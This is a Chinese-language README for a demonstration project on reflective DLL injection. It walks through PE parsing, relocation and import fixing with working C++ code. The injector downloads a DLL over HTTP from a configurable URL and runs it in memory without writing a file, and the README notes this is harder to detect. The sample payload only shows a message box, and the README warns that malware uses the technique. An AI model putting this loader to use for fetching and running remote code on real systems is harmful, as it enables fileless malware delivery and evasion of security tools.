本项目演示了通过HTTP下载DLL并使用反射注入技术执行的技术。
| 文件 | 说明 |
|---|---|
a.cpp |
DLL源代码,包含MessageBox导出函数 |
a.dll |
编译后的DLL文件 |
server.cpp |
简单的HTTP服务器,提供DLL下载 |
server.exe |
HTTP服务器可执行文件 |
injector.cpp |
反射注入器,从服务器下载DLL并注入执行 |
injector.exe |
注入器可执行文件 |
Windows可执行文件(EXE/DLL)采用PE(Portable Executable)格式:
┌─────────────────────────────────┐
│ DOS Header │ ← IMAGE_DOS_HEADER (e_magic, e_lfanew)
├─────────────────────────────────┤
│ DOS Stub Program │
├─────────────────────────────────┤
│ PE Header │ ← IMAGE_NT_HEADERS (Signature)
│ ┌─────────────────────────┐ │
│ │ File Header │ │ ← Machine, NumberOfSections, TimeDateStamp
│ ├─────────────────────────┤ │
│ │ Optional Header │ │ ← ImageBase, EntryPoint, SizeOfImage
│ └─────────────────────────┘ │
├─────────────────────────────────┤
│ Section Table │ ← 各节信息 (.text, .data, .rdata, .reloc)
│ ┌─────────────────────────┐ │
│ │ .text │ │
│ ├─────────────────────────┤ │
│ │ .data │ │
│ ├─────────────────────────┤ │
│ │ .rdata (imports) │ │
│ ├─────────────────────────┤ │
│ │ .reloc (relocation) │ │
│ └─────────────────────────┘ │
├─────────────────────────────────┤
│ Sections Data │
└─────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────┐
│ 反射注入完整流程 │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 下载DLL ─────────────────────────────────────────────────────> │
│ HTTP请求获取DLL文件内容到内存缓冲区 │
│ │
│ 2. PE解析 ─────────────────────────────────────────────────────> │
│ ┌──────────────────┐ │
│ │ 解析DOS头 │ → 获取e_lfanew找到NT头 │
│ │ 解析NT头 │ → 获取ImageBase, SizeOfImage, EntryPoint │
│ │ 解析节表 │ → 获取各节VA, Size, RawSize │
│ │ 解析数据目录 │ → 获取导入表、重定位表、导出表 │
│ └──────────────────┘ │
│ │
│ 3. 内存分配 ─────────────────────────────────────────────────────> │
│ VirtualAlloc(ImageBase, SizeOfImage, MEM_RESERVE) │
│ 如果失败则使用系统分配地址 │
│ │
│ 4. 节复制 ─────────────────────────────────────────────────────> │
│ ┌──────────────────┐ │
│ │ 复制PE头 │ → SizeOfHeaders字节 │
│ │ 复制各节数据 │ → 按PointerToRawData复制到VA位置 │
│ └──────────────────┘ │
│ │
│ 5. 重定位修复 ─────────────────────────────────────────────────> │
│ delta = ActualBase - ImageBase │
│ 遍历重定位表,所有相对地址 += delta │
│ │
│ 6. 导入表修复 ─────────────────────────────────────────────────> │
│ ┌──────────────────┐ │
│ │ 遍历导入表 │ → 读取DLL名称 │
│ │ LoadLibrary │ → 加载依赖DLL │
│ │ GetProcAddress │ → 获取函数地址 │
│ │ 填充IAT │ → 写入ThunkData │
│ └──────────────────┘ │
│ │
│ 7. 内存保护 ─────────────────────────────────────────────────────> │
│ VirtualProtect(SizeOfImage, PAGE_EXECUTE_READ) │
│ │
│ 8. 调用导出函数 ───────────────────────────────────────────────> │
│ 从导出表查找函数地址,直接调用 │
│ │
└──────────────────────────────────────────────────────────────────────┘
PIMAGE_NT_HEADERS get_nt_headers(PVOID image_base) {
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)image_base;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)image_base + dos_header->e_lfanew);
if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return NULL;
return nt_headers;
}PVOID get_directory_entry(PVOID image_base, DWORD entry) {
PIMAGE_NT_HEADERS nt_headers = get_nt_headers(image_base);
PIMAGE_DATA_DIRECTORY directory = &nt_headers->OptionalHeader.DataDirectory[entry];
if (directory->VirtualAddress == 0) return NULL;
return (BYTE*)image_base + directory->VirtualAddress;
}常用数据目录索引:
IMAGE_DIRECTORY_ENTRY_EXPORT(0) - 导出表IMAGE_DIRECTORY_ENTRY_IMPORT(1) - 导入表IMAGE_DIRECTORY_ENTRY_BASERELOC(5) - 重定位表
当编译器编译DLL时,它假设DLL会被加载到一个特定的地址(称为ImageBase)。例如,编译器可能假设DLL会被加载到 0x10000000。
但在某些情况下,这个地址可能被其他DLL占用,操作系统会把这个DLL加载到不同的地址。这时,DLL中所有写死的地址都需要修正,这就是重定位。
假设DLL中有以下代码:
void* ptr = some_global_variable;编译器会生成这样的指令:
mov eax, [0x1000C000] // 假设全局变量在VA=0xC000的位置
如果DLL实际加载到 0x20000000,那这个地址应该变成 0x2000C000。
计算公式:
新地址 = 原地址 + (实际加载基址 - 预期ImageBase)
这个差值通常称为 delta。
重定位表由多个 IMAGE_BASE_RELOCATION 块组成:
┌─────────────────────────────────────────────────┐
│ IMAGE_BASE_RELOCATION │
│ ┌───────────────────────────────────────────┐ │
│ │ VirtualAddress │ 页起始RVA │ │
│ │ SizeOfBlock │ 本块总大小 │ │
│ └───────────────────────────────────────────┘ │
│ ┌───────────────────────────────────────────┐ │
│ │ Type/Offset[0] │ 高4位=类型,低12位=偏移 │ │
│ │ Type/Offset[1] │ ... │ │
│ │ ... │ │ │
│ └───────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘
每个Type/Offset条目:
- 高4位:重定位类型(1=HIGHLOW, 10=DIR64)
- 低12位:相对于VirtualAddress的偏移量
步骤1:获取重定位表
PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)get_directory_entry(
module_base, IMAGE_DIRECTORY_ENTRY_BASERELOC);从PE数据目录获取重定位表位置。
步骤2:遍历所有重定位块
while (relocation->VirtualAddress != 0) {
// 处理当前块
relocation = (PIMAGE_BASE_RELOCATION)((BYTE*)relocation + relocation->SizeOfBlock);
}步骤3:计算本块有多少个重定位项
DWORD count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);步骤4:处理每个重定位项
WORD* reloc_data = (WORD*)((BYTE*)relocation + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++) {
WORD type = reloc_data[i] >> 12; // 提取高4位类型
WORD offset = reloc_data[i] & 0x0FFF; // 提取低12位偏移
if (type == IMAGE_REL_BASED_HIGHLOW) { // 32位系统
DWORD* address = (DWORD*)((BYTE*)module_base + relocation->VirtualAddress + offset);
*address = (DWORD)(*address + delta);
} else if (type == IMAGE_REL_BASED_DIR64) { // 64位系统
ULONGLONG* address = (ULONGLONG*)((BYTE*)module_base + relocation->VirtualAddress + offset);
*address = (ULONGLONG)(*address + delta);
}
}完整代码:
bool perform_relocation(PVOID module_base, size_t delta) {
PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)get_directory_entry(
module_base, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (!relocation || relocation->VirtualAddress == 0) return true;
while (relocation->VirtualAddress != 0) {
DWORD count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* reloc_data = (WORD*)((BYTE*)relocation + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++) {
WORD type = reloc_data[i] >> 12;
WORD offset = reloc_data[i] & 0x0FFF;
if (type == IMAGE_REL_BASED_HIGHLOW) {
DWORD* address = (DWORD*)((BYTE*)module_base + relocation->VirtualAddress + offset);
*address = (DWORD)(*address + delta);
} else if (type == IMAGE_REL_BASED_DIR64) {
ULONGLONG* address = (ULONGLONG*)((BYTE*)module_base + relocation->VirtualAddress + offset);
*address = (ULONGLONG)(*address + delta);
}
}
relocation = (PIMAGE_BASE_RELOCATION)((BYTE*)relocation + relocation->SizeOfBlock);
}
return true;
}重定位类型说明:
| 类型 | 说明 | 适用环境 |
|---|---|---|
IMAGE_REL_BASED_ABSOLUTE |
忽略,无实际作用 | - |
IMAGE_REL_BASED_HIGHLOW |
32位地址重定位 | x86 (32位) |
IMAGE_REL_BASED_DIR64 |
64位地址重定位 | x64 (64位) |
当DLL使用其他DLL的函数时(如 MessageBoxA 来自 user32.dll),编译器不会直接嵌入函数地址,而是记录:
- 需要哪个DLL
- 需要哪个函数
这些信息存储在**导入表(Import Table)**中。
┌──────────────────────────────────────────────────────────────────┐
│ IMAGE_IMPORT_DESCRIPTOR (数组,每个DLL一个) │
├──────────────────────────────────────────────────────────────────┤
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ OriginalFirstThunk │ 指向 IMAGE_THUNK_DATA 数组 (名称查找表) │ │
│ │ TimeDateStamp │ 时间戳 │ │
│ │ ForwarderChain │ 转发链 │ │
│ │ Name │ DLL名称字符串的RVA │ │
│ │ FirstThunk │ 指向 IMAGE_THUNK_DATA 数组 (IAT) │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ ... (更多DLL) │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Name = 0 (结束标志) │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ IMAGE_THUNK_DATA 数组 (通过OriginalFirstThunk访问) │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ u1.AddressOfData │ 指向 IMAGE_IMPORT_BY_NAME 的RVA │ │
│ │ (或 Ordinal) │ 或序号 │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ IMAGE_IMPORT_BY_NAME │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Hint │ 函数名称查找索引 │ │
│ │ Name │ 函数名字符串 "MessageBoxA" │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
步骤1:获取导入表
PIMAGE_IMPORT_DESCRIPTOR import_desc = (PIMAGE_IMPORT_DESCRIPTOR)get_directory_entry(
module_base, IMAGE_DIRECTORY_ENTRY_IMPORT);步骤2:遍历所有导入的DLL
while (import_desc->Name != 0) {
// 处理当前DLL
import_desc++;
}步骤3:获取DLL名称并加载
char* dll_name = (char*)((BYTE*)module_base + import_desc->Name);
HMODULE dll = LoadLibraryA(dll_name);步骤4:遍历导入函数
PIMAGE_THUNK_DATA original = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->OriginalFirstThunk);
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->FirstThunk);
for (; original->u1.AddressOfData != 0; original++, thunk++) {
// 处理每个导入函数
}步骤5:区分按名称导入和按序号导入
if (original->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
// 按序号导入
DWORD ordinal = original->u1.Ordinal & 0xFFFF;
thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)ordinal);
} else {
// 按名称导入
IMAGE_IMPORT_BY_NAME* import_by_name = (IMAGE_IMPORT_BY_NAME*)((BYTE*)module_base + original->u1.AddressOfData);
thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)import_by_name->Name);
}完整代码:
bool fix_imports(PVOID module_base) {
PIMAGE_IMPORT_DESCRIPTOR import_desc = (PIMAGE_IMPORT_DESCRIPTOR)get_directory_entry(
module_base, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (!import_desc) return true;
// 遍历所有导入的DLL
while (import_desc->Name != 0) {
// 步骤1:获取DLL名称
char* dll_name = (char*)((BYTE*)module_base + import_desc->Name);
// 步骤2:加载DLL到进程
HMODULE dll = LoadLibraryA(dll_name);
if (!dll) return false;
// 步骤3:获取导入函数表
PIMAGE_THUNK_DATA original = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->OriginalFirstThunk);
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)module_base + import_desc->FirstThunk);
// 步骤4:遍历并填充每个导入函数
for (; original->u1.AddressOfData != 0; original++, thunk++) {
if (original->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
// 按序号导入(如 ordinal=123)
DWORD ordinal = original->u1.Ordinal & 0xFFFF;
thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)ordinal);
} else {
// 按名称导入(如 "MessageBoxA")
IMAGE_IMPORT_BY_NAME* import_by_name = (IMAGE_IMPORT_BY_NAME*)((BYTE*)module_base + original->u1.AddressOfData);
thunk->u1.Function = (ULONGLONG)GetProcAddress(dll, (LPCSTR)import_by_name->Name);
}
}
// 下一个DLL
import_desc++;
}
return true;
}在PE文件中,导入表初始时包含的是函数名称字符串和占位符地址。操作系统加载器会:
- 根据DLL名加载DLL
- 根据函数名查找真实函数地址
- 将地址写入IAT(Import Address Table)
反射注入需要手动完成这个过程,因为我们绕过了操作系统的加载器。
查找并调用导出函数:
ExportedFunc find_export(PVOID module_base, const char* export_name) {
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)get_directory_entry(
module_base, IMAGE_DIRECTORY_ENTRY_EXPORT);
DWORD* names = (DWORD*)((BYTE*)module_base + export_dir->AddressOfNames);
DWORD* functions = (DWORD*)((BYTE*)module_base + export_dir->AddressOfFunctions);
WORD* ordinals = (WORD*)((BYTE*)module_base + export_dir->AddressOfNameOrdinals);
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
const char* name = (const char*)((BYTE*)module_base + names[i]);
if (strcmp(name, export_name) == 0) {
DWORD ord = ordinals[i];
return (ExportedFunc)((BYTE*)module_base + functions[ord]);
}
}
return NULL;
}| 特性 | 传统注入 | 反射注入 |
|---|---|---|
| 文件落地 | 需要DLL文件 | 无需文件,直接内存加载 |
| 依赖 | 需要CreateRemoteThread | 不需要创建远程线程 |
| 兼容性 | 需要LoadLibrary | 可在任意进程加载 |
| 隐蔽性 | 易被检测 | 更难被检测 |
| 复杂度 | 简单 | 复杂 |
# 编译DLL(重要:必须指定32位ImageBase)
g++ -shared -o a.dll a.cpp -fPIC "-Wl,--image-base,0x10000000"
# 编译HTTP服务器
g++ -o server.exe server.cpp -lws2_32
# 编译注入器 (使用WinHttp内存下载)
g++ -o injector.exe injector.cpp config.cpp -lws2_32 -lwinhttp步骤1:启动HTTP服务器
./server.exe服务器启动后会显示:
Server running on http://localhost:8000
Download DLL: http://localhost:8000/a.dll
步骤2:运行注入器
./injector.exe注入器会:
- 从
http://localhost:8000/a.dll下载DLL - 将DLL加载到内存
- 执行重定位修复和导入表修复
- 调用DLL的导出函数
ShowMessageBox
成功后会弹出MessageBox对话框,显示 "Hello from DLL!"。
#include <windows.h>
// 使用 extern "C" 确保函数名不被 mangled
extern "C" {
// 导出的函数 - 你可以添加任意数量的函数
__declspec(dllexport) void MyFunction() {
// 在这里编写你的代码
MessageBoxA(NULL, "Hello from DLL!", "Title", MB_OK);
}
// 导出带参数的函数示例
__declspec(dllexport) int AddNumbers(int a, int b) {
return a + b;
}
// 导出带返回值的函数示例
__declspec(dllexport) const char* GetMessage() {
return "Hello World!";
}
// DllMain 是可选的,建议删除
// BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
// return TRUE;
// }
}- 必须使用
extern "C"- 防止函数名被C++ mangled - 使用
__declspec(dllexport)- 导出函数让injector可以调用 - 编译命令 -
g++ -shared -o mydll.dll mydll.cpp -fPIC "-Wl,--image-base,0x10000000" - 函数签名 - 推荐使用简单函数(无参数或基本类型参数),复杂参数需要序列化
- DllMain - 建议省略DllMain,injector默认不会调用
- 监听8000端口
- 提供
/a.dll路由下载DLL文件 - 使用WinSock2实现
核心函数:
download_dll()- 下载DLL文件get_nt_headers()- 获取PE NT头perform_relocation()- 执行重定位修复fix_imports()- 修复导入表execute_tls()- 执行TLS回调reflective_inject()- 完整的反射注入流程
injector 内置默认配置,同时也支持使用 config.ini 文件覆盖设置。
内置在 default_config.h 中:
| 配置项 | 默认值 |
|---|---|
| DLLUrl | http://localhost:8000/a.dll |
| ExportFunction | ShowMessageBox |
| DebugOutput | false |
在同目录下创建 config.ini 可覆盖默认值:
[Server]
Port=8000
[Injector]
DLLUrl=http://localhost:8000/a.dll
ExportFunction=ShowMessageBox
DebugOutput=false如需修改内置默认配置,编辑 default_config.h 后重新编译:
// default_config.h
static constexpr const char* DLLUrl = "http://localhost:8000/mydll.dll";
static constexpr const char* ExportFunction = "MyFunction";
static constexpr bool DebugOutput = false;| 配置项 | 说明 | 示例 |
|---|---|---|
DLLUrl |
完整的DLL下载URL | http://localhost:8000/mydll.dll |
ExportFunction |
要调用的导出函数名 | MyFunction |
DebugOutput |
显示调试信息 | true 或 false |
命令行参数可以覆盖配置文件中的设置:
| 参数 | 说明 | 示例 |
|---|---|---|
--url <url> |
覆盖配置文件中的DLLUrl | --url http://192.168.1.100/dll.dll |
--export <name> |
覆盖配置文件中的ExportFunction | --export MyFunction |
--debug |
启用调试输出 | --debug |
--help, -h |
显示帮助信息 | --help |
# 使用内置默认配置
.\injector.exe
# 使用自定义配置文件
.\injector.exe
# 命令行覆盖URL
.\injector.exe --url http://localhost:9000/mydll.dll
# 命令行覆盖导出函数
.\injector.exe --export MyFunction
# 启用调试
.\injector.exe --debug| 配置项 | 说明 | 示例 |
|---|---|---|
DLLUrl |
完整的DLL下载URL | http://localhost:8000/mydll.dll |
ExportFunction |
要调用的导出函数名 | MyFunction |
DebugOutput |
显示调试信息 | true 或 false |
命令行参数可以覆盖配置文件中的设置:
| 参数 | 说明 | 示例 |
|---|---|---|
--url <url> |
覆盖配置文件中的DLLUrl | --url http://192.168.1.100/dll.dll |
--export <name> |
覆盖配置文件中的ExportFunction | --export MyFunction |
--debug |
启用调试输出 | --debug |
--help, -h |
显示帮助信息 | --help |
# 使用配置文件中的设置
.\injector.exe
# 命令行覆盖URL
.\injector.exe --url http://localhost:9000/mydll.dll
# 命令行覆盖导出函数
.\injector.exe --export MyFunction
# 启用调试
.\injector.exe --debug- 本代码仅供学习研究使用
- 反射注入技术可能被恶意软件用于规避安全检测
- 请确保防火墙允许配置中指定的端口通信
- 如果下载失败,检查服务器是否正常运行
- 如果DLL加载失败,尝试调整
PreferredBase地址
# 编译DLL(重要:必须指定32位ImageBase)
g++ -shared -o a.dll a.cpp -fPIC "-Wl,--image-base,0x10000000"
# 编译HTTP服务器
g++ -o server.exe server.cpp -lws2_32
# 编译注入器(需要config.cpp和default_config.h)
g++ -o injector.exe injector.cpp config.cpp -lws2_32 -lwinhttp注意:DLL必须使用 -Wl,--image-base,0x10000000 参数指定32位ImageBase,否则反射注入会失败。
- MinGW/G++ 编译器
- Windows操作系统
- WinSock2 (ws2_32.lib)
- WinHTTP (winhttp.lib)